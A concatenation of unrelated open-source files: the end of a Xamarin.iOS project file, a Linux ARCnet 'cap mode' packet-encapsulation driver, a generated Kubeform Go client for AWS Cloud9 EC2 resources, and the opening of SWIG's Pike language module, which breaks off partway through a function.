<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon60.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon58.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon40.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon29.png">
<Visible>false</Visible>
</ImageAsset>
<ImageAsset Include="Assets.xcassets\AppIcon.appiconset\Icon20.png">
<Visible>false</Visible>
</ImageAsset>
</ItemGroup>
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Xml" />
<Reference Include="System.Core" />
<Reference Include="Xamarin.iOS" />
</ItemGroup>
<ItemGroup>
<PackageReference Include="SkiaSharp.Views.Forms">
<Version>1.60.2</Version>
</PackageReference>
<PackageReference Include="Xamarin.Forms" Version="4.8.0.1269" />
</ItemGroup>
<Import Project="$(MSBuildExtensionsPath)\Xamarin\iOS\Xamarin.iOS.CSharp.targets" />
<ItemGroup>
<ProjectReference Include="..\MandelAnima\MandelAnima.csproj">
<Project>{7645A31F-7D6D-4FFA-97E1-C2486F0EA399}</Project>
<Name>MandelAnima</Name>
</ProjectReference>
</ItemGroup>
</Project>
|
{
"pile_set_name": "Github"
}
|
/*
* Linux ARCnet driver - "cap mode" packet encapsulation.
* It adds sequence numbers to packets for communicating between a user space
* application and the driver. After a transmit it sends a packet with protocol
* byte 0 back up to the userspace containing the sequence number of the packet
* plus the transmit-status on the ArcNet.
*
* Written 2002-4 by Esben Nielsen, Vestas Wind Systems A/S
* Derived from arc-rawmode.c by Avery Pennarun.
* arc-rawmode was in turned based on skeleton.c, see below.
*
* **********************
*
* The original copyright of skeleton.c was as follows:
*
* skeleton.c Written 1993 by Donald Becker.
* Copyright 1993 United States Government as represented by the
* Director, National Security Agency. This software may only be used
* and distributed according to the terms of the GNU General Public License as
* modified by SRC, incorporated herein by reference.
*
* **********************
*
* For more details, see drivers/net/arcnet.c
*
* **********************
*/
#define pr_fmt(fmt) "arcnet:" KBUILD_MODNAME ": " fmt
#include <linux/module.h>
#include <linux/gfp.h>
#include <linux/init.h>
#include <linux/if_arp.h>
#include <net/arp.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include "arcdevice.h"
/* packet receiver */
static void rx(struct net_device *dev, int bufnum,
struct archdr *pkthdr, int length)
{
struct arcnet_local *lp = netdev_priv(dev);
struct sk_buff *skb;
struct archdr *pkt = pkthdr;
char *pktbuf, *pkthdrbuf;
int ofs;
arc_printk(D_DURING, dev, "it's a raw(cap) packet (length=%d)\n",
length);
if (length >= MinTU)
ofs = 512 - length;
else
ofs = 256 - length;
skb = alloc_skb(length + ARC_HDR_SIZE + sizeof(int), GFP_ATOMIC);
if (!skb) {
dev->stats.rx_dropped++;
return;
}
skb_put(skb, length + ARC_HDR_SIZE + sizeof(int));
skb->dev = dev;
skb_reset_mac_header(skb);
pkt = (struct archdr *)skb_mac_header(skb);
skb_pull(skb, ARC_HDR_SIZE);
/* up to sizeof(pkt->soft) has already been copied from the card
* squeeze in an int for the cap encapsulation
* use these variables to be sure we count in bytes, not in
* sizeof(struct archdr)
*/
pktbuf = (char *)pkt;
pkthdrbuf = (char *)pkthdr;
memcpy(pktbuf, pkthdrbuf, ARC_HDR_SIZE + sizeof(pkt->soft.cap.proto));
memcpy(pktbuf + ARC_HDR_SIZE + sizeof(pkt->soft.cap.proto) + sizeof(int),
pkthdrbuf + ARC_HDR_SIZE + sizeof(pkt->soft.cap.proto),
sizeof(struct archdr) - ARC_HDR_SIZE - sizeof(pkt->soft.cap.proto));
if (length > sizeof(pkt->soft))
lp->hw.copy_from_card(dev, bufnum, ofs + sizeof(pkt->soft),
pkt->soft.raw + sizeof(pkt->soft)
+ sizeof(int),
length - sizeof(pkt->soft));
if (BUGLVL(D_SKB))
arcnet_dump_skb(dev, skb, "rx");
skb->protocol = cpu_to_be16(ETH_P_ARCNET);
netif_rx(skb);
}
/* Create the ARCnet hard/soft headers for cap mode.
* There aren't any soft headers in cap mode - not even the protocol id.
*/
static int build_header(struct sk_buff *skb,
struct net_device *dev,
unsigned short type,
uint8_t daddr)
{
int hdr_size = ARC_HDR_SIZE;
struct archdr *pkt = skb_push(skb, hdr_size);
arc_printk(D_PROTO, dev, "Preparing header for cap packet %x.\n",
*((int *)&pkt->soft.cap.cookie[0]));
/* Set the source hardware address.
*
* This is pretty pointless for most purposes, but it can help in
* debugging. ARCnet does not allow us to change the source address in
* the actual packet sent)
*/
pkt->hard.source = *dev->dev_addr;
/* see linux/net/ethernet/eth.c to see where I got the following */
if (dev->flags & (IFF_LOOPBACK | IFF_NOARP)) {
/* FIXME: fill in the last byte of the dest ipaddr here to
* better comply with RFC1051 in "noarp" mode.
*/
pkt->hard.dest = 0;
return hdr_size;
}
/* otherwise, just fill it in and go! */
pkt->hard.dest = daddr;
return hdr_size; /* success */
}
static int prepare_tx(struct net_device *dev, struct archdr *pkt, int length,
int bufnum)
{
struct arcnet_local *lp = netdev_priv(dev);
struct arc_hardware *hard = &pkt->hard;
int ofs;
/* hard header is not included in packet length */
length -= ARC_HDR_SIZE;
/* And neither is the cookie field */
length -= sizeof(int);
arc_printk(D_DURING, dev, "prepare_tx: txbufs=%d/%d/%d\n",
lp->next_tx, lp->cur_tx, bufnum);
arc_printk(D_PROTO, dev, "Sending for cap packet %x.\n",
*((int *)&pkt->soft.cap.cookie[0]));
if (length > XMTU) {
/* should never happen! other people already check for this. */
arc_printk(D_NORMAL, dev, "Bug! prepare_tx with size %d (> %d)\n",
length, XMTU);
length = XMTU;
}
if (length > MinTU) {
hard->offset[0] = 0;
hard->offset[1] = ofs = 512 - length;
} else if (length > MTU) {
hard->offset[0] = 0;
hard->offset[1] = ofs = 512 - length - 3;
} else {
hard->offset[0] = ofs = 256 - length;
}
arc_printk(D_DURING, dev, "prepare_tx: length=%d ofs=%d\n",
length, ofs);
/* Copy the arcnet-header + the protocol byte down: */
lp->hw.copy_to_card(dev, bufnum, 0, hard, ARC_HDR_SIZE);
lp->hw.copy_to_card(dev, bufnum, ofs, &pkt->soft.cap.proto,
sizeof(pkt->soft.cap.proto));
/* Skip the extra integer we have written into it as a cookie
* but write the rest of the message:
*/
lp->hw.copy_to_card(dev, bufnum, ofs + 1,
((unsigned char *)&pkt->soft.cap.mes), length - 1);
lp->lastload_dest = hard->dest;
return 1; /* done */
}
static int ack_tx(struct net_device *dev, int acked)
{
struct arcnet_local *lp = netdev_priv(dev);
struct sk_buff *ackskb;
struct archdr *ackpkt;
int length = sizeof(struct arc_cap);
arc_printk(D_DURING, dev, "capmode: ack_tx: protocol: %x: result: %d\n",
lp->outgoing.skb->protocol, acked);
if (BUGLVL(D_SKB))
arcnet_dump_skb(dev, lp->outgoing.skb, "ack_tx");
/* Now alloc a skb to send back up through the layers: */
ackskb = alloc_skb(length + ARC_HDR_SIZE, GFP_ATOMIC);
if (!ackskb)
goto free_outskb;
skb_put(ackskb, length + ARC_HDR_SIZE);
ackskb->dev = dev;
skb_reset_mac_header(ackskb);
ackpkt = (struct archdr *)skb_mac_header(ackskb);
/* skb_pull(ackskb, ARC_HDR_SIZE); */
skb_copy_from_linear_data(lp->outgoing.skb, ackpkt,
ARC_HDR_SIZE + sizeof(struct arc_cap));
ackpkt->soft.cap.proto = 0; /* using protocol 0 for acknowledge */
ackpkt->soft.cap.mes.ack = acked;
arc_printk(D_PROTO, dev, "Acknowledge for cap packet %x.\n",
*((int *)&ackpkt->soft.cap.cookie[0]));
ackskb->protocol = cpu_to_be16(ETH_P_ARCNET);
if (BUGLVL(D_SKB))
arcnet_dump_skb(dev, ackskb, "ack_tx_recv");
netif_rx(ackskb);
free_outskb:
dev_kfree_skb_irq(lp->outgoing.skb);
lp->outgoing.proto = NULL;
/* We are always finished when in this protocol */
return 0;
}
static struct ArcProto capmode_proto = {
.suffix = 'r',
.mtu = XMTU,
.rx = rx,
.build_header = build_header,
.prepare_tx = prepare_tx,
.ack_tx = ack_tx
};
static int __init capmode_module_init(void)
{
int count;
pr_info("cap mode (`c') encapsulation support loaded\n");
for (count = 1; count <= 8; count++)
if (arc_proto_map[count] == arc_proto_default)
arc_proto_map[count] = &capmode_proto;
/* for cap mode, we only set the bcast proto if there's no better one */
if (arc_bcast_proto == arc_proto_default)
arc_bcast_proto = &capmode_proto;
arc_proto_default = &capmode_proto;
arc_raw_proto = &capmode_proto;
return 0;
}
static void __exit capmode_module_exit(void)
{
arcnet_unregister_proto(&capmode_proto);
}
module_init(capmode_module_init);
module_exit(capmode_module_exit);
MODULE_LICENSE("GPL");
|
{
"pile_set_name": "Github"
}
|
/*
Copyright The Kubeform Authors.
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
// Code generated by client-gen. DO NOT EDIT.
package v1alpha1
import (
"context"
"time"
v1alpha1 "kubeform.dev/kubeform/apis/aws/v1alpha1"
scheme "kubeform.dev/kubeform/client/clientset/versioned/scheme"
v1 "k8s.io/apimachinery/pkg/apis/meta/v1"
types "k8s.io/apimachinery/pkg/types"
watch "k8s.io/apimachinery/pkg/watch"
rest "k8s.io/client-go/rest"
)
// Cloud9EnvironmentEc2sGetter has a method to return a Cloud9EnvironmentEc2Interface.
// A group's client should implement this interface.
type Cloud9EnvironmentEc2sGetter interface {
Cloud9EnvironmentEc2s(namespace string) Cloud9EnvironmentEc2Interface
}
// Cloud9EnvironmentEc2Interface has methods to work with Cloud9EnvironmentEc2 resources.
type Cloud9EnvironmentEc2Interface interface {
Create(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.CreateOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
Update(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
UpdateStatus(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
Delete(ctx context.Context, name string, opts v1.DeleteOptions) error
DeleteCollection(ctx context.Context, opts v1.DeleteOptions, listOpts v1.ListOptions) error
Get(ctx context.Context, name string, opts v1.GetOptions) (*v1alpha1.Cloud9EnvironmentEc2, error)
List(ctx context.Context, opts v1.ListOptions) (*v1alpha1.Cloud9EnvironmentEc2List, error)
Watch(ctx context.Context, opts v1.ListOptions) (watch.Interface, error)
Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts v1.PatchOptions, subresources ...string) (result *v1alpha1.Cloud9EnvironmentEc2, err error)
Cloud9EnvironmentEc2Expansion
}
// cloud9EnvironmentEc2s implements Cloud9EnvironmentEc2Interface
type cloud9EnvironmentEc2s struct {
client rest.Interface
ns string
}
// newCloud9EnvironmentEc2s returns a Cloud9EnvironmentEc2s
func newCloud9EnvironmentEc2s(c *AwsV1alpha1Client, namespace string) *cloud9EnvironmentEc2s {
return &cloud9EnvironmentEc2s{
client: c.RESTClient(),
ns: namespace,
}
}
// Get takes name of the cloud9EnvironmentEc2, and returns the corresponding cloud9EnvironmentEc2 object, and an error if there is any.
func (c *cloud9EnvironmentEc2s) Get(ctx context.Context, name string, options v1.GetOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Get().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(name).
VersionedParams(&options, scheme.ParameterCodec).
Do(ctx).
Into(result)
return
}
// List takes label and field selectors, and returns the list of Cloud9EnvironmentEc2s that match those selectors.
func (c *cloud9EnvironmentEc2s) List(ctx context.Context, opts v1.ListOptions) (result *v1alpha1.Cloud9EnvironmentEc2List, err error) {
var timeout time.Duration
if opts.TimeoutSeconds != nil {
timeout = time.Duration(*opts.TimeoutSeconds) * time.Second
}
result = &v1alpha1.Cloud9EnvironmentEc2List{}
err = c.client.Get().
Namespace(c.ns).
Resource("cloud9environmentec2s").
VersionedParams(&opts, scheme.ParameterCodec).
Timeout(timeout).
Do(ctx).
Into(result)
return
}
// Watch returns a watch.Interface that watches the requested cloud9EnvironmentEc2s.
func (c *cloud9EnvironmentEc2s) Watch(ctx context.Context, opts v1.ListOptions) (watch.Interface, error) {
var timeout time.Duration
if opts.TimeoutSeconds != nil {
timeout = time.Duration(*opts.TimeoutSeconds) * time.Second
}
opts.Watch = true
return c.client.Get().
Namespace(c.ns).
Resource("cloud9environmentec2s").
VersionedParams(&opts, scheme.ParameterCodec).
Timeout(timeout).
Watch(ctx)
}
// Create takes the representation of a cloud9EnvironmentEc2 and creates it. Returns the server's representation of the cloud9EnvironmentEc2, and an error, if there is any.
func (c *cloud9EnvironmentEc2s) Create(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.CreateOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Post().
Namespace(c.ns).
Resource("cloud9environmentec2s").
VersionedParams(&opts, scheme.ParameterCodec).
Body(cloud9EnvironmentEc2).
Do(ctx).
Into(result)
return
}
// Update takes the representation of a cloud9EnvironmentEc2 and updates it. Returns the server's representation of the cloud9EnvironmentEc2, and an error, if there is any.
func (c *cloud9EnvironmentEc2s) Update(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Put().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(cloud9EnvironmentEc2.Name).
VersionedParams(&opts, scheme.ParameterCodec).
Body(cloud9EnvironmentEc2).
Do(ctx).
Into(result)
return
}
// UpdateStatus was generated because the type contains a Status member.
// Add a +genclient:noStatus comment above the type to avoid generating UpdateStatus().
func (c *cloud9EnvironmentEc2s) UpdateStatus(ctx context.Context, cloud9EnvironmentEc2 *v1alpha1.Cloud9EnvironmentEc2, opts v1.UpdateOptions) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Put().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(cloud9EnvironmentEc2.Name).
SubResource("status").
VersionedParams(&opts, scheme.ParameterCodec).
Body(cloud9EnvironmentEc2).
Do(ctx).
Into(result)
return
}
// Delete takes name of the cloud9EnvironmentEc2 and deletes it. Returns an error if one occurs.
func (c *cloud9EnvironmentEc2s) Delete(ctx context.Context, name string, opts v1.DeleteOptions) error {
return c.client.Delete().
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(name).
Body(&opts).
Do(ctx).
Error()
}
// DeleteCollection deletes a collection of objects.
func (c *cloud9EnvironmentEc2s) DeleteCollection(ctx context.Context, opts v1.DeleteOptions, listOpts v1.ListOptions) error {
var timeout time.Duration
if listOpts.TimeoutSeconds != nil {
timeout = time.Duration(*listOpts.TimeoutSeconds) * time.Second
}
return c.client.Delete().
Namespace(c.ns).
Resource("cloud9environmentec2s").
VersionedParams(&listOpts, scheme.ParameterCodec).
Timeout(timeout).
Body(&opts).
Do(ctx).
Error()
}
// Patch applies the patch and returns the patched cloud9EnvironmentEc2.
func (c *cloud9EnvironmentEc2s) Patch(ctx context.Context, name string, pt types.PatchType, data []byte, opts v1.PatchOptions, subresources ...string) (result *v1alpha1.Cloud9EnvironmentEc2, err error) {
result = &v1alpha1.Cloud9EnvironmentEc2{}
err = c.client.Patch(pt).
Namespace(c.ns).
Resource("cloud9environmentec2s").
Name(name).
SubResource(subresources...).
VersionedParams(&opts, scheme.ParameterCodec).
Body(data).
Do(ctx).
Into(result)
return
}
|
{
"pile_set_name": "Github"
}
|
/* -----------------------------------------------------------------------------
* This file is part of SWIG, which is licensed as a whole under version 3
* (or any later version) of the GNU General Public License. Some additional
* terms also apply to certain portions of SWIG. The full details of the SWIG
* license and copyrights can be found in the LICENSE and COPYRIGHT files
* included with the SWIG source code as distributed by the SWIG developers
* and at http://www.swig.org/legal.html.
*
* pike.cxx
*
* Pike language module for SWIG.
* ----------------------------------------------------------------------------- */
/*
* Notes:
*
* - The current approach used for "out" typemaps is inconsistent with
* how "out" typemaps are handled by other language modules. Instead
* of converting the C/C++ type ($1) to a Pike object type (e.g. a
* struct svalue), we're just calling the appropriate push_XXX
* (e.g. push_int) to push the return value onto the stack.
*
* - Pike classes can't have static member functions or data, so we need
* to find some other appropriate mapping for C++ static member functions
* and data.
*
* - Pike doesn't seem to provide any default way to print the memory
* address, etc. for extension objects. Should we do something here?
*
*/
#include "swigmod.h"
#include <ctype.h> // for isalnum()
static const char *usage = "\
Pike Options (available with -pike)\n\
[no additional options]\n\
\n";
class PIKE:public Language {
private:
File *f_begin;
File *f_runtime;
File *f_header;
File *f_wrappers;
File *f_init;
File *f_classInit;
String *PrefixPlusUnderscore;
int current;
// Wrap modes
enum {
NO_CPP,
MEMBER_FUNC,
CONSTRUCTOR,
DESTRUCTOR,
MEMBER_VAR,
CLASS_CONST,
STATIC_FUNC,
STATIC_VAR
};
public:
/* ---------------------------------------------------------------------
* PIKE()
*
* Initialize member data
* --------------------------------------------------------------------- */
PIKE() {
f_begin = 0;
f_runtime = 0;
f_header = 0;
f_wrappers = 0;
f_init = 0;
f_classInit = 0;
PrefixPlusUnderscore = 0;
current = NO_CPP;
}
/* ---------------------------------------------------------------------
* main()
*
* Parse command line options and initializes variables.
* --------------------------------------------------------------------- */
virtual void main(int argc, char *argv[]) {
/* Set location of SWIG library */
SWIG_library_directory("pike");
/* Look for certain command line options */
for (int i = 1; i < argc; i++) {
if (argv[i]) {
if (strcmp(argv[i], "-help") == 0) {
fputs(usage, stdout);
}
}
}
/* Add a symbol to the parser for conditional compilation */
Preprocessor_define("SWIGPIKE 1", 0);
/* Set language-specific configuration file */
SWIG_config_file("pike.swg");
/* Set typemap language */
SWIG_typemap_lang("pike");
/* Enable overloaded methods support */
allow_overloading();
}
/* ---------------------------------------------------------------------
* top()
* --------------------------------------------------------------------- */
virtual int top(Node *n) {
/* Get the module name */
String *module = Getattr(n, "name");
/* Get the output file name */
String *outfile = Getattr(n, "outfile");
/* Open the output file */
f_begin = NewFile(outfile, "w", SWIG_output_files());
if (!f_begin) {
FileErrorDisplay(outfile);
SWIG_exit(EXIT_FAILURE);
}
f_runtime = NewString("");
f_init = NewString("");
f_classInit = NewString("");
f_header = NewString("");
f_wrappers = NewString("");
/* Register file targets with the SWIG file handler */
Swig_register_filebyname("header", f_header);
Swig_register_filebyname("wrapper", f_wrappers);
Swig_register_filebyname("begin", f_begin);
Swig_register_filebyname("runtime", f_runtime);
Swig_register_filebyname("init", f_init);
Swig_register_filebyname("classInit", f_classInit);
/* Standard stuff for the SWIG runtime section */
Swig_banner(f_begin);
Printf(f_runtime, "\n\n#ifndef SWIGPIKE\n#define SWIGPIKE\n#endif\n\n");
Printf(f_header, "#define SWIG_init pike_module_init\n");
Printf(f_header, "#define SWIG_name \"%s\"\n\n", module);
/* Change naming scheme for constructors and destructors */
Swig_name_register("construct", "%n%c_create");
Swig_name_register("destroy", "%n%c_destroy");
/* Current wrap type */
current = NO_CPP;
/* Emit code for children */
Language::top(n);
/* Close the initialization function */
Printf(f_init, "}\n");
SwigType_emit_type_table(f_runtime, f_wrappers);
/* Close all of the files */
Dump(f_runtime, f_begin);
Dump(f_header, f_begin);
Dump(f_wrappers, f_begin);
Wrapper_pretty_print(f_init, f_begin);
Delete(f_header);
Delete(f_wrappers);
Delete(f_init);
Delete(f_classInit);
Delete(f_runtime);
Delete(f_begin);
/* Done */
return SWIG_OK;
}
/* ------------------------------------------------------------
* validIdentifier()
* ------------------------------------------------------------ */
virtual int validIdentifier(String *s) {
char *c = Char(s);
const char *c0 = c;
const char *c1 = c0 + 1;
while (*c) {
if (*c == '`' && c == c0) {
c++;
continue;
}
if ((*c == '+' || *c == '-' || *c == '*' || *c == '/') && c == c1) {
c++;
continue;
}
if (!(isalnum(*c) || (*c == '_')))
return 0;
c++;
}
return 1;
}
/* ------------------------------------------------------------
* importDirective()
* ------------------------------------------------------------ */
virtual int importDirective(Node *n) {
String *modname = Getattr(n, "module");
if (modname) {
Printf(f_init, "pike_require(\"%s\");\n", modname);
}
return Language::importDirective(n);
}
/* ------------------------------------------------------------
* strip()
*
* For names that begin with the current class prefix plus an
* underscore (e.g. "Foo_enum_test"), return the base function
* name (i.e. "enum_test").
* ------------------------------------------------------------ */
String *strip(const DOHconst_String_or_char_ptr name) {
String *s = Copy(name);
if (Strncmp(name, PrefixPlusUnderscore, Len(PrefixPlusUnderscore)) != 0) {
return s;
}
Replaceall(s, PrefixPlusUnderscore, "");
return s;
}
/* ------------------------------------------------------------
* add_method()
* ------------------------------------------------------------ */
void add_method(const DOHconst_String_or_char_ptr name, const DOHconst_String_or_char_ptr function, const DOHconst_String_or_char_ptr description) {
String *rename = NULL;
switch (current) {
case NO_CPP:
rename = NewString(name);
Printf(f_init, "ADD_FUNCTION(\"%s\", %s, tFunc(%s), 0);\n", rename, function, description);
break;
case STATIC_FUNC:
case STATIC_VAR:
rename = NewString(name);
Printf(f_init, "ADD_FUNCTION(\"%s\", %s, tFunc(%s), 0);\n", rename, function, description);
break;
case CONSTRUCTOR:
case DESTRUCTOR:
case MEMBER_FUNC:
case MEMBER_VAR:
rename = strip(name);
Printf(f_classInit, "ADD_FUNCTION(\"%s\", %s, tFunc(%s), 0);\n", rename, function, description);
break;
case CLASS_CONST: // shouldn't have gotten here for CLASS_CONST nodes
default: // what is this?
assert(false);
}
Delete(rename);
}
/* ---------------------------------------------------------------------
* functionWrapper()
*
* Create a function declaration and register it with the interpreter.
* --------------------------------------------------------------------- */
virtual int functionWrapper(Node *n) {
String *name = Getattr(n, "name");
String *iname = Getattr(n, "sym:name");
SwigType *d = Getattr(n, "type");
ParmList *l = Getattr(n, "parms");
Parm *p;
String *tm;
int i;
String *overname = 0;
if (Getattr(n, "sym:overloaded")) {
overname = Getattr(n, "sym:overname");
} else {
if (!addSymbol(iname, n))
return SWIG_ERROR;
}
Wrapper *f = NewWrapper();
// Emit all of the local variables for holding arguments.
emit_parameter_variables(l, f);
/* Attach the standard typemaps */
emit_attach_parmmaps(l, f);
Setattr(n, "wrap:parms", l);
/* Get number of required and total arguments */
int num_arguments = emit_num_arguments(l);
int varargs = emit_isvarargs(l);
/* Which input argument to start with? */
int start = (current == MEMBER_FUNC || current == MEMBER_VAR || current == DESTRUCTOR) ? 1 : 0;
/* Offset to skip over the attribute name */
// int offset = (current == MEMBER_VAR) ? 1 : 0;
int offset = 0;
String *wname = Swig_name_wrapper(iname);
if (overname) {
Append(wname, overname);
}
Setattr(n, "wrap:name", wname);
Printv(f->def, "static void ", wname, "(INT32 args) {", NIL);
/* Generate code for argument marshalling */
String *description = NewString("");
char source[64];
for (i = 0, p = l; i < num_arguments; i++) {
while (checkAttribute(p, "tmap:in:numinputs", "0")) {
p = Getattr(p, "tmap:in:next");
}
SwigType *pt = Getattr(p, "type");
String *ln = Getattr(p, "lname");
if (i < start) {
String *lstr = SwigType_lstr(pt, 0);
Printf(f->code, "%s = (%s) THIS;\n", ln, lstr);
Delete(lstr);
} else {
/* Look for an input typemap */
sprintf(source, "Pike_sp[%d-args]", i - start + offset);
if ((tm = Getattr(p, "tmap:in"))) {
Replaceall(tm, "$source", source);
Replaceall(tm, "$target", ln);
Replaceall(tm, "$input", source);
Setattr(p, "emit:input", source);
Printf(f->code, "%s\n", tm);
String *pikedesc = Getattr(p, "tmap:in:pikedesc");
if (pikedesc) {
Printv(description, pikedesc, " ", NIL);
}
p = Getattr(p, "tmap:in:next");
continue;
} else {
Swig_warning(WARN_TYPEMAP_IN_UNDEF, input_file, line_number, "Unable to use type %s as a function argument.\n", SwigType_str(pt, 0));
break;
}
}
p = nextSibling(p);
}
/* Check for trailing varargs */
if (varargs) {
if (p && (tm = Getattr(p, "tmap:in"))) {
Replaceall(tm, "$input", "varargs");
Printv(f->code, tm, "\n", NIL);
}
}
/* Insert constraint checking code */
for (p = l; p;) {
if ((tm = Getattr(p, "tmap:check"))) {
Replaceall(tm, "$target", Getattr(p, "lname"));
Printv(f->code, tm, "\n", NIL);
p = Getattr(p, "tmap:check:next");
} else {
p = nextSibling(p);
}
}
/* Insert cleanup code */
String *cleanup = NewString("");
for (p = l; p;) {
if ((tm = Getattr(p, "tmap:freearg"))) {
Replaceall(tm, "$source", Getattr(p, "lname"));
Printv(cleanup, tm, "\n", NIL);
p = Getattr(p, "tmap:freearg:next");
} else {
p = nextSibling(p);
}
}
/* Insert argument output code */
String *outarg = NewString("");
for (p = l; p;) {
if ((tm = Getattr(p, "tmap:argout"))) {
Replaceall(tm, "$source", Getattr(p, "lname"));
Replaceall(tm, "$target", "resultobj");
Replaceall(tm, "$arg", Getattr(p, "emit:input"));
Replaceall(tm, "$input", Getattr(p, "emit:input"));
Printv(outarg, tm, "\n", NIL);
p = Getattr(p, "tmap:argout:next");
} else {
p = nextSibling(p);
}
}
/* Emit the function call */
String *actioncode = emit_action(n);
/* Clear the return stack */
Printf(actioncode, "pop_n_elems(args);\n");
/* Return the function value */
if (current == CONSTRUCTOR) {
Printv(actioncode, "THIS = (void *) ", Swig_cresult_name(), ";\n", NIL);
Printv(description, ", tVoid", NIL);
} else if (current == DESTRUCTOR) {
Printv(description, ", tVoid", NIL);
} else {
Printv(description, ", ", NIL);
if ((tm = Swig_typemap_lookup_out("out", n, Swig_cresult_name(), f, actioncode))) {
actioncode = 0;
Replaceall(tm, "$source", Swig_cresult_name());
Replaceall(tm, "$target", "resultobj");
Replaceall(tm, "$result", "resultobj");
if (GetFlag(n, "feature:new")) {
Replaceall(tm, "$owner", "1");
} else {
Replaceall(tm, "$owner", "0");
}
String *pikedesc = Getattr(n, "tmap:out:pikedesc");
if (pikedesc) {
Printv(description, pikedesc, NIL);
}
Printf(f->code, "%s\n", tm);
} else {
Swig_warning(WARN_TYPEMAP_OUT_UNDEF, input_file, line_number, "Unable to use return type %s in function %s.\n", SwigType_str(d, 0), name);
}
}
if (actioncode) {
Append(f->code, actioncode);
Delete(actioncode);
}
emit_return_variable(n, d, f);
/* Output argument output code */
Printv(f->code, outarg, NIL);
/* Output cleanup code */
Printv(f->code, cleanup, NIL);
/* Look to see if there is any newfree cleanup code */
if (GetFlag(n, "feature:new")) {
if ((tm = Swig_typemap_lookup("newfree", n, Swig_cresult_name(), 0))) {
Replaceall(tm, "$source", Swig_cresult_name());
Printf(f->code, "%s\n", tm);
}
}
/* See if there is any return cleanup code */
if ((tm = Swig_typemap_lookup("ret", n, Swig_cresult_name(), 0))) {
Replaceall(tm, "$source", Swig_cresult_name());
Printf(f->code, "%s\n", tm);
}
/* Close the function */
Printf(f->code, "}\n");
/* Substitute the cleanup code */
Replaceall(f->code, "$cleanup", cleanup);
/* Substitute the function name */
Replaceall(f->code, "$symname", iname);
Replaceall(f->code, "$result", "resultobj");
/* Dump the function out */
Wrapper_print(f, f_wrappers);
/* Now register the function with the interpreter. */
if (!Getattr(n, "sym:overloaded")) {
add_method(iname, wname, description);
} else {
if (!Getattr(n, "sym:nextSibling")) {
dispatchFunction(n);
}
}
Delete(cleanup);
Delete(outarg);
Delete(description);
Delete(wname);
DelWrapper(f);
return SWIG_OK;
}
/* ------------------------------------------------------------
* dispatchFunction()
*
* Emit overloading dispatch function
* ------------------------------------------------------------ */
void dispatchFunction(Node *n) {
/* Last node in overloaded chain */
int maxargs;
String *tmp = NewString("");
String *dispatch = Swig_overload_dispatch(n, "%s(args); return;", &maxargs);
/* Generate a dispatch wrapper for all overloaded functions */
Wrapper *f = NewWrapper();
String *symname = Getattr(n, "sym:name");
String *wname = Swig_name_wrapper(symname);
Printf(f->def, "static void %s(INT32 args) {", wname);
Wrapper_add_local(f, "argc", "INT32 argc");
Printf(tmp, "struct svalue argv[%d]", maxargs);
Wrapper_add_local(f, "argv", tmp);
Wrapper_add_local(f, "ii", "INT32 ii");
Printf(f->code, "argc = args;\n");
Printf(f->code, "for (ii = 0; (ii < argc) && (ii < %d); ii++) {\n", maxargs);
Printf(f->code, "argv[ii] = Pike_sp[ii-args];\n");
Printf(f->code, "}\n");
Replaceall(dispatch, "$args", "self, args");
Printv(f->code, dispatch, "\n", NIL);
Printf(f->code, "Pike_error(\"No matching function for overloaded '%s'.\");\n", symname);
Printv(f->code, "}\n", NIL);
Wrapper_print(f, f_wrappers);
String *description = NewString("");
Printf(description, "tAny,");
if (current == CONSTRUCTOR || current == DESTRUCTOR) {
Printf(description, " tVoid");
} else {
String *pd = Getattr(n, "tmap:out:pikedesc");
if (pd)
Printf(description, " %s", pd);
}
add_method(symname, wname, description);
Delete(description);
DelWrapper(f);
Delete(dispatch);
Delete(tmp);
Delete(wname);
}
/* ------------------------------------------------------------
* variableWrapper()
* ------------------------------------------------------------ */
virtual int variableWrapper(Node *n) {
return Language::variableWrapper(n);
}
/* ------------------------------------------------------------
* constantWrapper()
* ------------------------------------------------------------ */
virtual int constantWrapper(Node *n) {
Swig_require("constantWrapper", n, "*sym:name", "type", "value", NIL);
String *symname = Getattr(n, "sym:name");
SwigType *type = Getattr(n, "type");
String *value = Getattr(n, "value");
bool is_enum_item = (Cmp(nodeType(n), "enumitem") == 0);
if (SwigType_type(type) == T_MPOINTER) {
